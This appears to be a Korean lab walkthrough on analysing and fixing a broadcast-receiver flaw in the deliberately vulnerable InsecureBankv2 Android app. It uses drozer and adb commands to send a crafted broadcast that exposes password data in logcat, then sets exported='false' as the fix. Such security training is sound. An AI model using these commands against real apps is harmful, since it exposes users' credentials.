4 drozer를 이용한 브로드캐스트 리시버 취약점 분석
- 앞선 예제와 다르게 drozer앱 내에 서버가 존재하는 것!
(1) PowerShell에서 다음의 명령어를 실행하여, 안드로이드 가상 디바이스 (AVD) 에 drozer 앱을 설치한다.
adb install drozer 앱의 이름 (완전한 경로 포함)
(2) 안드로이드 가상 디바이스 (AVD) 에 설치된 drozer 앱을 구동하고 내장된 drozer 서버를 활성화 시킨다.
(3) 안드로이드 가상 디바이스 (AVD) 에서 구동하는 drozer 서버의 포트(31415)와 PC의 로컬 포트(31415)를 연결하는 다음의 명령어를 PowerShell상에서 수행한다.
// 포트 번호 31415로 설정
adb forward tcp:31415 tcp:31415
(4) drozer 앱에 내장된 서버에 콘솔 모드로 접속하는 다음의 명령어를 PowerShell상에서 수행한다.
drozer console connect
(5) 다음의 명령어를 drozer 프롬프트( dz>)상에서 수행함으로써 InsecureBankv2 앱의 전체적인 취약점을 파악한다.
run app.package.attacksurface com.android.insecurebankv2
(6) 다음의 명령어를 drozer 프롬프트( dz>)상에서 수행함으로써 InsecureBankv2 앱의 브로드캐스트 리시버 관련 정보를 파악한다.
- permission이 null이라는 것은 누구나 접근할 수 있다는 것 취약점
run app.broadcast.info -a com.android.insecurebankv2
(7) InsecureBankv2 앱의 패스워드 정보를 노출시키기 위해서, 다음의 명령어를 drozer 프롬프트( dz>)상에서 수행한다.
// drozer안에서 send 명령어로 두개의 값을 넘기는 것
run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1111 --extra string newpass test
(8) 다음의 명령어를 PowerShell 상에서 실행하여, 화면에 출력되는 내용 (InsecureBankv2 앱의 패스워드 정보가 포함됨)을 캡처한다.
- phoenumber 1111의 비밀번호가 test로 변경되었다 출력하는것 확인 → 실제 변경된 것 X
- 방송신호에 Permission이 설정되어 있지 않을 때
- Receiver에게 보내는 과정에서 중요 정보를 노출할 수 있음
adb logcat -s System.out:I
5 브로드캐스트 리시버 취약점 방어
(1) 안드로이드 스튜디오의 InsecureBankv2 프로젝트의 AndroidManifest.xml 파일에서 아래 항목을 찾는다. exported값을 false로 바꾼 후, InsecureBankv2 프로젝트를 다시 빌드하고InsecureBankv2 앱을 AVD상에 설치한다.
<receiver
android:name=".MyBroadCastReceiver"
android:exported="false" >
(2) insecurebankv2의 info를 출력해 No matching인 것을 확인한다
(3) drozer 프롬프트( dz>)상에서 아래 명령어를 실행한다.
run app.broadcast.send --component com.android.insecurebankv2
com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1111
--extra string newpass test
(4) 그리고 PowerShell상에서 아래의 명령어를 실행하여 브로드캐스트 큐와 연관된 경고 메시지를 출력한다. 화면에 출력되는 내용을 캡처한다.
// BroadcastQueue 안에 있는 Warning 확인
adb logcat –s BroadcastQueue:W